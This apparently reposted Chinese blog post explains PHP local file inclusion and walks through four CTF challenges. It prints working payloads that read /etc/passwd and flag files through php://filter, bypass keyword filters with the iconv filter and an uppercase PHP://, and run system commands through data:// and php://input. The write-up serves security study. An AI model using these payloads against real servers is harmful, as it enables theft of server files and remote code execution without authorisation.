本地文件包含漏洞详解与CTF实战

news/2024/9/19 14:19:35/文章来源:https://www.cnblogs.com/xinghaihe/p/18416524

1. 本地文件包含简介

1.1 本地文件包含定义

本地文件包含是一种Web应用程序漏洞,攻击者通过操控文件路径参数,使得服务器端包含了非预期的文件,从而可能导致敏感信息泄露。
常见的攻击方式包括:

  • 包含配置文件、日志文件等敏感信息文件,导致信息泄露。
  • 包含某些可执行文件或利用文件上传功能生成的恶意文件,进而执行任意代码。

示例:

<?php 
$file = $_GET['file']; 
include($file); 
?>

1.2 php伪协议

PHP 伪协议允许开发者通过指定不同的输入源来读取、处理和引入数据,这一特性在文件包含漏洞(如 includerequire)中被滥用,导致攻击者能够通过伪协议来读取敏感数据或执行恶意代码。

以下是在文件包含漏洞中常用的伪协议。

  1. php://input
    • 攻击者可以通过伪协议 php://input 读取 POST 数据并将其作为包含文件的内容。这允许攻击者上传或注入恶意代码,导致代码执行。
    • 用法:
      ?file=php://input+post包
  2. php://filter
    • 通过 php://filter 伪协议,攻击者可以将目标文件的内容以编码的形式返回,这使得攻击者可以读取敏感文件的内容(如配置文件)。
    • 用法
      ?file=php://filter/[参数+过滤器]/resource=[target_file]
    • 示例:
      如果用户传入 file=php://filter/read=convert.base64-encode/resource=/etc/passwd,服务器会返回 /etc/passwd 文件的 base64 编码内容,攻击者可以解码并查看文件。
  3. data://
    • 攻击者可以使用 data:// 伪协议注入任意代码并执行。例如:
    • 示例:
      攻击者可以通过传入 file=data:text/plain,<?php system('ls'); ?>,让 PHP 执行 ls 命令。
      php伪协议的更详细内容参考php伪协议总结

2.CTF实战

本文靶场全部来源于攻防世界

2.1 file_include

1. 题目&分析

highlight_file(__FILE__);的作用是将当前文件的源码(包括文件包含的的内容)以高亮的形式展示,因此我们才能利用这个漏洞。
本题包含了一个check.php,从字面上暗示了会对我们传入的参数进行一定过滤
本题用get方式接收了参数filename,并对文件进行包含,我们可以通过伪协议进行文件读取

2. 解法

本题的过滤非常的严格,而且由于check.php的内容是不知道的,只能不断尝试
php://input 无回显

/?filename=php://inputpost:<?php phpinfo();?>

data:// 无回显

/?filename=data:text/plain,<?php phpinfo();?>

php://filter

/?filename=php://filter/read=convert.base64-encode/resource=flag.php

尝试上方代码显示do not hack!,尝试后发现readbase64-encode被过滤了:read可以直接省略,当参数缺省时默认为read;而后者需要替换其他的过滤器

php://filter/convert.base64-encode/resource=flag.php  
php://filter/convert.quoted-printable-encode/resource=flag.php  
php://filter/string.rot13/resource=flag.php  
php://filter/string.toupper/resource=flag.php  
php://filter/string.tolower/resource=flag.php  
php://filter/string.strip_tags/resource=flag.php

又尝试使用了多个过滤器,发现都显示do not hack!被过滤了。
实际上,本题考察的是下方这个比较冷门的过滤器

?filename=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php

得到flag

3. 小结

本题主要考察了php://filter的用法,尤其是对参数与过滤器的了解。

2.2 fileclude

1. 题目&分析

本题通过get方式接受两个参数file1file2
本题对file1进行包含,此处可以通过伪协议去包含flag.php
本题会读取文件file2的内容并与hello ctf比较,需要注意的是,如果我们直接传入file2=hello ctffile_get_contents函数会去读取hello ctf这个文件,这显然无法得到任何内容。要想满足该if条件,必须通过伪协议将字符串传输给file2,这样PHP 会将字符串 "hello ctf" 作为文件内容进行比较。

2 解法

本题解法就比较简单了,file1通过php://filter读取flagfile2通过data://输入hello ctf。注意最后得到的字符串需要Base64解码,就是flag了

/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

3. 小结

本题难点在于正确认识file_get_contents函数的性质,从而选择data://输入hello ctf
此外,值得一提的是,使用某些过滤器读取flag出现了报错的现象,这是由于其编码过程破坏了php的语法,使得PHP 解析器无法识别这些字符串。一般来说,使用 Base64 是不出出现这种编码问题的,因为 Base64 是一种可以将二进制数据安全编码为 ASCII 字符的方式,不会对 PHP 代码造成语法错误。不妨只有当Base64被过滤的情况下,再去考虑尝试其他的过滤器。

2.3 fileinclude

1. 题目&分析

页面中给出了两个提示
文件的路径为/var/www/html/,暗示利用伪协议读取的时候需要输入完整路径,而非像之前一样直接包含即可
flag文件的名字叫flag.php

按F12查看网页源代码,给出新的提示。本题在cookie处接受一个language参数,赋值给lan.php拼接后被文件包含,最后文件内容随着index.php被输出前端。

2. 解题

利用hackbar添加cookie,内容如下。得到字符串后需要Base64解码。

language=php://filter/convert.base64-encode/resource=/var/www/html/flag

3. 小结

本题与之前的不同之处有两点

  1. 传参使用的是cookie,而非get。推广出去,get、post、cookie都有可能成为提交的方式。
  2. 本题的包含要求了具体的路径,之前的题目可能是因为设置了include_path使得include直接包含了flag.php

2.4 Web_php_include

1. 题目&分析

本题存在两个get方式接受的参数,但是hello参数被接收后既没有被包含,也不参与条件的判断,认为在本题中不起作用,不过他显然会引起xss漏洞,此处不作详解。
对于page参数,通过strstr函数对php://进行了过滤。

2. 解法一 PHP大写绕过

考虑到php是大小写不敏感的,但是strstr函数是大小写敏感的,可以通过大写PHP://来绕过过滤。
尝试下方语句后发现flag未正常回显,猜测flag所在的文件名并不是flag.php

/?page=PHP://filter/read=convert.base64-encode/resource=flag.php

尝试用PHP://input写入php代码读取

/?page=PHP://input<?php system("ls -lah")?> //查看当前目录下所有文件<?php system("tac fl4gisisish3r3.php")?> //读取上一步看到的flag文件

3. 解法二 data://执行命令

直接利用data://执行命令得到flag

?page=data://text/plain,<?php system("ls")?>
?page=data://text/plain,<?php system("tac fl4gisisish3r3.php")?>

值得一提的是,如果对写入内容有过滤的话,可以对写入内容进行Base64编码,此处不需要进行编码,直接做即可。

/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIp

4. 小结

本题与之前不同的是flag的文件名称为fl4gisisish3r3.php,这导致了不可能通过直接读取的方式获取flag,而必须要通过命令执行的方式来找到其名称。

宇宙安全声明

本博客所提供的内容仅供学习与交流目的,所有文章、代码及相关资料仅用于提升网络安全知识水平。博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/798158.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录算法 - 二叉树6

题目1235. 二叉搜索树的最近公共祖先 给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为:“对于有根树 T 的两个结点 p、q,最近公共祖先表示为一个结点 x,满足 x 是 p、q 的祖先且 x 的深度尽可能大(一个节点也可以是它自己的祖…

6、函数的声明

程序是一行行执行,我们可以在前面进行函数声明,然后将函数的定义放在程序末尾。 声明可以写多次,但是定义只能写一次。

如何基于Java解析国密数字证书

一、说明 随着信息安全的重要性日益凸显,数字证书在各种安全通信场景中扮演着至关重要的角色。国密算法,一、说明 随着信息安全的重要性日益凸显,数字证书在各种安全通信场景中扮演着至关重要的角色。国密算法,作为我国自主研发的加密算法标准,其应用也愈发广泛。然而,在…

Windows应急响应-个人整理

个人总览-仍待完善Windows应急响应整理(一)参考 1.NOPTeam的手册链接 2.fox-yu的博客(思路很清晰,对我这个小白来说很友好)1.整体思路 1.1常见事件类型(不完整、待补充)网络协议攻击:拒绝服务攻击:DDos、CC攻击、泛洪攻击等。链接 DNS劫持 ARP欺骗web入侵:webshell 网页挂马…

视野修炼-技术周刊第101期 | 垂直居中

① align-content - 垂直居中普通元素 ② up mode - 一键隐藏 Chrome 插件 ③ Chrome 性能面板新功能 ④ k-colors.js - 图片主色提取 ⑤ 英:优化JS性能的一些技巧 ⑥ 英:Web 的剪贴板,如何存储不同类型的数据 ⑦ 英:不简单的 js 入门教程 ⑧ Peter Cat - GitHub 仓库智能答…

06: 抽象工厂模式

提供一个创建一系列相关或相互依赖对象的接口,而无需指定他们具体的类1. 案例 在Access和SQL server分别插入User表和Department表 2. 抽象工厂模式结构 - 抽象产品(AbstractProduct):所有产品的基类,提供产品类的公共方法struct User {std::string m_sName = "";…

南沙C++信奥老师解一本通题 1371:看病

​【题目描述】有个朋友在医院工作,想请BSNY帮忙做个登记系统。具体是这样的,最近来医院看病的人越来越多了,因此很多人要排队,只有当空闲时放一批病人看病。但医院的排队不同其他排队,因为多数情况下,需要病情严重的人优先看病,所以希望BSNY设计系统时,以病情的严重情…

堪称最优秀的 Docker 可视化管理工具 ——Portainer

Portainer 是一款轻量级的应用,它提供了图形化界面,用于方便地管理 Docker 环境,包括单机环境和集群环境。随着 Docker 内实例越来越多,就得涉及到监控以及统计的需求:有多少个容器?运行的有几个?有哪些容器 CPU 使用率低?... Portainer 是一款轻量级的应用,它提供了图…

分布式数据库中间件:MyCat 和 ShardingSphere

分布式数据库中间件 用于实现 分库、分表、分片、分布式事务、读写分离 等。 本文 是 调查 MyCat 和 ShardingSphere 两款 中间件 的一些信息汇总。本文时间:2024年9月。MyCat Mycat数据库分库分表中间件。ben发布于博客园 http://www.mycat.org.cn github-Mycat1 https://gi…

Python 遭遇 ProxyError 问题记录

本内容复制知乎的一个贴子,在此只做下记录及参考和学习,原链接地址: 最近遇到的一个问题,在搞清楚之后才发现这么多年的 HTTPS_PROXY 都配置错了! 起因 想用 Python 在网上下载一些图片素材,结果 requests 报 requests.exceptions.ProxyError,具体的错误信息见下面。当然…

白云龙期货投资-第二讲

K线图基本用途就是为了寻找“买卖点”,所有的进场点有K线配合能大大的提高进场的成功率。关键点位出现K线及组合配合。大胆进场(波浪理论第五浪。回调黄金分割率点,趋势线,颈线,整数关口等)。K线技术-一切技术之根本 K线图基本用途就是为了寻找“买卖点”,所有的进场点有K…

博客园主题皮肤

背景图:目前使用的是Awescnb主题的geek 参照:https://blog.csdn.net/zk_tww/article/details/141030258